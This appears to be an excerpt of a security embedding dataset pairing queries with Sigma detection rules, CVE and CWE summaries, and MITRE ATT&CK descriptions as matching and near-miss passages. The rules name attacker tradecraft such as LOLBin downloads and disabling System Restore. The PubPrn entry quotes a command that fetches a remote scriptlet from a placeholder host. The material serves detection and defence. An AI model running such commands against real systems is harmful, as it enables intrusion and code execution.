alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active d. Logsource: windows / process_creation. Rule: title: Active Directory Database Snapshot Via ADExplorer id: 9212f354-7775-4e28-9c9f-8f0a4544e664 related: - id: ef61af62-bc74-4f58-b49b-626448227652 type: derived status: test description: Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database. This can be used by attackers to extract data for Bloodhound, usernames for password spraying or use the meta data for social engineering. The snapshot doesn't contain password hashes but there have been cases, where administrators put passwords in the comment field. references: - https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html - https://learn.microsoft.com/de-de/sysinternals/downloads/adexplorer - https://github.com/c3c/ADExplorerSnapshot.py/tree/f700904defac330802bbfedd1d8ffd9248f4ee24 - https://www.packetlabs.net/posts/scattered-spider-is-a-young-ransomware-gang-exploiting-large-corporations/ - https://www.nccgroup.com/us/research-blog/lapsus-recent-techniques-tactics-and-procedures/ - https://trustedsec.com/blog/adexplorer-on-engagements author: Nasreddine Bencherchali (Nextron Systems) date: 2023-03-14 modified: 2025-07-09 tags: - attack.discovery - attack.t1087.002 - attack.t1069.002 - attack.t1482 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: - \ADExp.exe - \ADExplorer.exe - \ADExplorer64.exe - \ADExplorer64a.exe - OriginalFileName: AdExp - Description: Active Directory Editor - Product: Sysinternals ADExplorer selection_cli: CommandLine|contains: snapshot condition: all of selection_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects shell32.dll executing a DLL in a suspicious directory. Logsource: windows / process_creation. Rule: title: Shell32 DLL Execution in Suspicious Directory id: 32b96012-7892-429e-b26c-ac2bf46066ff status: test description: Detects shell32.dll executing a DLL in a suspicious directory references: - https://www.group-ib.com/resources/threat-research/red-curl-2.html author: Christian Burkard (Nextron Systems) date: 2021-11-24 modified: 2023-02-09 tags: - attack.execution - attack.stealth - attack.t1218.011 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \rundll32.exe - OriginalFileName: RUNDLL32.EXE selection_cli: CommandLine|contains|all: - shell32.dll - Control_RunDLL CommandLine|contains: - '%AppData%' - '%LocalAppData%' - '%Temp%' - '%tmp%' - \AppData\ - \Temp\ - \Users\Public\ condition: all of selection_* falsepositives: - Unknown level: high
Query: describe CVE-2015-8760
Matching passage: CVE-2015-8760. CWE: CWE-20. CVSS: 6.099999904632568. The Flvplayer component in TYPO3 6.2.x before 6.2.16 allows remote attackers to embed Flash videos from external domains via unspecified vectors, aka "Cross-Site Flashing."
Near-miss passage: CVE-2015-8000. CWE: CWE-20. CVSS: 5.0. db.c in named in ISC BIND 9.x before 9.9.8-P2 and 9.10.x before 9.10.3-P2 allows remote attackers to cause a denial of service (REQUIRE assertion failure and daemon exit) via a malformed class attribute.
Query: CVE similar to CVE-2015-1448
Matching passage: CVE-2015-1448. CWE: CWE-264. CVSS: 10.0. The integrated management service on Siemens Ruggedcom WIN51xx devices with firmware before SS4.4.4624.35, WIN52xx devices with firmware before SS4.4.4624.35, WIN70xx devices with firmware before BS4.4.4621.32, and WIN72xx devices with firmware before BS4.4.4621.32 allows remote attackers to bypass authentication and perform administrative actions via unspecified vectors.
Near-miss passage: CVE-2015-4161. CWE: CWE-264. CVSS: 7.5. SAP Afaria does not properly restrict access to unspecified functionality, which allows remote attackers to obtain sensitive information, gain privileges, or have other unspecified impact via unknown vectors, SAP Security Note 2155690.
Query: detection engineering for Device Driver Discovery
Matching passage: T1652 Device Driver Discovery. Tactics: discovery. Description: Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)). Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers) On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)
Near-miss passage: T1012 Query Registry. Tactics: discovery. Description: Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Query: describe CVE-2015-6602
Matching passage: CVE-2015-6602. CWE: CWE-20. CVSS: 9.300000190734863. libutils in Android through 5.1.1 LMY48M allows remote attackers to execute arbitrary code via crafted metadata in a (1) MP3 or (2) MP4 file, as demonstrated by an attack against use of libutils by libstagefright in Android 5.x.
Near-miss passage: CVE-2015-0980. CWE: CWE-20. CVSS: 9.0. Format string vulnerability in BACnOPCServer.exe in the SOAP web interface in SCADA Engine BACnet OPC Server before 2.1.371.24 allows remote attackers to execute arbitrary code via format string specifiers in a request.
Query: secure coding against Improper Neutralization of Comment Delimiters
Matching passage: CWE-151 Improper Neutralization of Comment Delimiters. The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.
Near-miss passage: CWE-58 Path Equivalence: Windows 8.3 Filename. The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short 8.3 filename.
Query: Sigma rule for Detects usage of "MSOHTMED" to download arbitrary files
Matching passage: Sigma rule: Detects usage of "MSOHTMED" to download arbitrary files. Logsource: windows / process_creation. Rule: title: Arbitrary File Download Via MSOHTMED.EXE id: 459f2f98-397b-4a4a-9f47-6a5ec2f1c69d status: test description: Detects usage of "MSOHTMED" to download arbitrary files references: - https://github.com/LOLBAS-Project/LOLBAS/pull/238/files author: Nasreddine Bencherchali (Nextron Systems) date: 2022-08-19 modified: 2023-11-09 tags: - attack.execution - attack.stealth - attack.t1218 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \MSOHTMED.exe - OriginalFileName: MsoHtmEd.exe selection_cli: CommandLine|contains: - ftp:// - http:// - https:// condition: all of selection_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.. Logsource: opencanary / application. Rule: title: OpenCanary - MSSQL Login Attempt Via SQLAuth id: 3ec9a16d-0b4f-4967-9542-ebf38ceac7dd status: test description: 'Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth. ' references: - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 author: Security Onion Solutions date: 2024-03-08 tags: - attack.credential-access - attack.collection - attack.t1003 - attack.t1213 logsource: category: application product: opencanary detection: selection: logtype: 9001 condition: selection falsepositives: - Unlikely level: high
Query: detect Detects system restore registry modification via command line, which can be used by adversaries to disable system restor in logs
Matching passage: Sigma rule: Detects system restore registry modification via command line, which can be used by adversaries to disable system restor. Logsource: windows / process_creation. Rule: title: System Restore Registry Modification via CommandLine id: 7c06ab9b-b1d2-4ba9-b06e-09491ded20d9 related: - id: 5de03871-5d46-4539-a82d-3aa992a69a83 type: similar status: experimental description: 'Detects system restore registry modification via command line, which can be used by adversaries to disable system restore on the computer. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2026-03-11 tags: - attack.impact - attack.t1490 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: - \powershell.exe - \pwsh.exe - \reg.exe - OriginalFileName: - powershell.exe - pwsh.dll - reg.exe selection_cli_action: CommandLine|contains: - ' add ' - Set-ItemProperty - New-ItemProperty selection_cli_reg_root: CommandLine|contains: - \SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore - \SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore selection_cli_reg_key: CommandLine|contains: - DisableConfig - DisableSR condition: all of selection_* falsepositives: - Unknown level: high regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_reg_system_restore_modification/info.yml simulation: - type: atomic-red-team name: Disable System Restore Through Registry technique: T1490 atomic_guid: 66e647d1-8741-4e43-b7c1-334760c2047f
Near-miss passage: Sigma rule: Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (r. Logsource: windows / file_event. Rule: title: Creation of a Diagcab id: 3d0ed417-3d94-4963-a562-4a92c940656a status: test description: Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location) references: - https://threadreaderapp.com/thread/1533879688141086720.html author: frack113 date: 2022-06-08 tags: - attack.resource-development logsource: product: windows category: file_event detection: selection: TargetFilename|endswith: .diagcab condition: selection falsepositives: - Legitimate microsoft diagcab level: medium
Query: patch priority for CVE-2015-0261
Matching passage: CVE-2015-0261. CWE: CWE-189. CVSS: 7.5. Integer signedness error in the mobility_opt_print function in the IPv6 mobility printer in tcpdump before 4.7.2 allows remote attackers to cause a denial of service (out-of-bounds read and crash) or possibly execute arbitrary code via a negative length value.
Near-miss passage: CVE-2015-1539. CWE: CWE-189. CVSS: 10.0. Multiple integer underflows in the ESDS::parseESDescriptor function in ESDS.cpp in libstagefright in Android before 5.1.1 LMY48I allow remote attackers to execute arbitrary code via crafted ESDS atoms, aka internal bug 20139950, a related issue to CVE-2015-4493.
Query: patch priority for CVE-2015-0742
Matching passage: CVE-2015-0742. CWE: CWE-399. CVSS: 5.0. The Protocol Independent Multicast (PIM) application in Cisco Adaptive Security Appliance (ASA) Software 9.2(0.0), 9.2(0.104), 9.2(3.1), 9.2(3.4), 9.3(1.105), 9.3(2.100), 9.4(0.115), 100.13(0.21), 100.13(20.3), 100.13(21.9), and 100.14(1.1) does not properly implement multicast-forwarding registration, which allows remote attackers to cause a denial of service (forwarding outage) via a crafted multicast packet, aka Bug ID CSCus74398.
Near-miss passage: CVE-2015-1068. CWE: CWE-399. CVSS: 6.800000190734863. WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and 8.x before 8.0.4, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other CVEs listed in APPLE-SA-2015-03-17-1.
Query: CVE similar to CVE-2015-2855
Matching passage: CVE-2015-2855. CWE: CWE-200. CVSS: 4.300000190734863. The WebUI component in Blue Coat SSL Visibility Appliance SV800, SV1800, SV2800, and SV3800 3.6.x through 3.8.x before 3.8.4 does not set the secure flag for the administrator's cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session, a different vulnerability than CVE-2015-4138.
Near-miss passage: CVE-2015-3412. CWE: CWE-200. CVSS: 5.300000190734863. PHP before 5.4.40, 5.5.x before 5.5.24, and 5.6.x before 5.6.8 does not ensure that pathnames lack %00 sequences, which might allow remote attackers to read arbitrary files via crafted input to an application that calls the stream_resolve_include_path function in ext/standard/streamsfuncs.c, as demonstrated by a filename\0.extension attack that bypasses an intended configuration in which client users may read files with only one specific extension.
Query: patch priority for CVE-2015-4452
Matching passage: CVE-2015-4452. CWE: UNKNOWN. CVSS: 9.300000190734863. Adobe Reader and Acrobat 10.x before 10.1.15 and 11.x before 11.0.12, Acrobat and Acrobat Reader DC Classic before 2015.006.30060, and Acrobat and Acrobat Reader DC Continuous before 2015.008.20082 on Windows and OS X allow attackers to bypass JavaScript API execution restrictions via unspecified vectors, a different vulnerability than CVE-2015-4435, CVE-2015-4438, CVE-2015-4441, CVE-2015-4445, CVE-2015-4447, CVE-2015-4451, CVE-2015-5085, and CVE-2015-5086.
Near-miss passage: CVE-2015-0419. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in the Siebel UI Framework component in Oracle Siebel CRM 8.1.1 and 8.2.2 allows remote attackers to affect confidentiality via unknown vectors related to Portal Framework, a different vulnerability than CVE-2013-1510.
Query: campaign using PubPrn
Matching passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Near-miss passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Query: intelligence brief on T1668
Matching passage: T1668 Exclusive Control. Tactics: persistence. Description: Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. For example, adversaries may patch a vulnerable, compromised system(Citation: Mandiant-iab-control)(Citation: CERT AT Fortinent Ransomware 2025) to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services(Citation: sophos-multiple-attackers), stripping privileges from accounts(Citation: aquasec-postgres-processes), or removing other malware already on the compromised device.(Citation: fsecure-netsky) Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of [Resource Hijacking](https://attack.mitre.org/techniques/T1496), leveraging a compromised device’s full power allows the threat actor to maximize profit.(Citation: sophos-multiple-attackers)
Near-miss passage: T1136 Create Account. Tactics: persistence. Description: Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
Query: describe CVE-2015-7560
Matching passage: CVE-2015-7560. CWE: CWE-284. CVSS: 6.5. The SMB1 implementation in smbd in Samba 3.x and 4.x before 4.1.23, 4.2.x before 4.2.9, 4.3.x before 4.3.6, and 4.4.x before 4.4.0rc4 allows remote authenticated users to modify arbitrary ACLs by using a UNIX SMB1 call to create a symlink, and then using a non-UNIX SMB1 call to write to the ACL content.
Near-miss passage: CVE-2015-9140. CWE: CWE-284. CVSS: 7.5. In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Mobile, Snapdragon Wear, and Small Cell SoC FSM9055, MDM9206, MDM9607, MDM9625, MDM9635M, MDM9640, MDM9645, MDM9650, MDM9655, MSM8909W, SD 210/SD 212/SD 205, SD 400, SD 410/12, SD 600, SD 615/16/SD 415, SD 617, SD 650/52, SD 800, SD 808, SD 810, and SDX20, unauthorized memory access possible in online memory dump feature.
Query: risk of Umbraco before 7.4.0 allows remote attackers to bypass anti-forgery security measures and conduct cross-site request forgery (CSRF) attacks as demonstrated by editing user account 
Matching passage: CVE-2015-8814. CWE: CWE-352. CVSS: 8.800000190734863. Umbraco before 7.4.0 allows remote attackers to bypass anti-forgery security measures and conduct cross-site request forgery (CSRF) attacks as demonstrated by editing user account information in the templates.asmx.cs file.
Near-miss passage: CVE-2015-4460. CWE: CWE-352. CVSS: 6.800000190734863. Cross-site request forgery (CSRF) vulnerability in SecuritySetting/UserSecurity/UserManagement.aspx in B.A.S C2Box before 4.0.0 (r19171) allows remote attackers to hijack the authentication of administrators for requests that add administrator accounts via certain vectors.
Query: describe CVE-2015-7019
Matching passage: CVE-2015-7019. CWE: CWE-119. CVSS: 5.599999904632568. The NVIDIA driver in the Graphics Drivers subsystem in Apple OS X before 10.11.1 allows local users to obtain sensitive information from kernel memory or cause a denial of service (out-of-bounds read and system crash) via unspecified vectors, a different vulnerability than CVE-2015-7020.
Near-miss passage: CVE-2015-1845. CWE: CWE-119. CVSS: 10.0. Buffer overflow in the EntrReadArch function in unzoo might allow remote attackers to execute arbitrary code via unspecified vectors.